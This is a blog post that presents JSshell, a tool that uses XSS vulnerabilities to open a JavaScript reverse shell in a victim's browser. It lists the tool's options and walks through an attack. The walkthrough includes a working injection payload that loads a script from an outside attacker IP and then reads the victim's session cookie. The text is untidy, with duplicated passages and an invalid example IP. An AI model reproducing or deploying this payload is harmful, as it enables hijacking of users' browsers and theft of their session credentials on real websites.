Kang Asu
JSshell - A JavaScript Reverse Shell For Exploiting XSS Remotely Or Finding Blind XSS, Working With Both Unix And Windows OS
JSshell - a JavaScript reverse shell. This using for exploit XSS remotely, help to find blind XSS, ...
This tool works for both Unix and Windows operating system and it can running with both Python 2 and Python 3. This is a big update of JShell - a tool to get a JavaScript shell with XSS by s0med3v. JSshell also doesn't require Netcat (different from other javascript shells).
Usage
Generate JS reverse shell payload:
-g
Set the local port number for listening and generating payload (By default, it will be set to 4848):
-p
Set the local source address for generating payload (JSshell will detect your IP address by deault):
-s
Set timeout for shell connection (if the user exit page, the shell will be pause, and if your set the timeout, after a while without response, the shell will automatically close):
-w
Execute a command when got the shell:
-c
Example usages:
js.py
js.py -g
js.py -p 1234
js.py -s 48.586.1.23 -g
js.py -c "alert(document.cookie)" -w 10
An example for running JSshell:
This is an example for step-by-step to exploit remote XSS using JSshell.
First we will generate a reverse JS shell payload and set the shell timeout is 20 seconds:
Now paste this payload to the website (or URL) that vulnerable to XSS:
Access the page and now we will see that we have got the reverse JS shell:
https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>
Access the page and now we will see that we have got the reverse JS shell:
Now let's execute some commands:
And the browser got an alert:
hacked
And the browser print the user cookies:
JSESSION=3bda8...
And we quited!
Author
This created by shelld3v, hacking at HackOne and Bugcrowd with a secret account! This tool is inspired by JShell (s0med3v), using the BruteLogic payload. JSshell 2.0 will has some new features that include:
Author
This created by shelld3v, hacking at HackOne and Bugcrowd with a secret account! This tool is inspired by JShell (s0med3v), using the BruteLogic payload. JSshell 2.0 will has some new features that include:
- More payloads for
<img>
,<script>
, ... - Some shortcut commands: print the current session, domain, endpoint, ...
- Better GUI
...
Regards
Kang Asu
No comments:
Post a Comment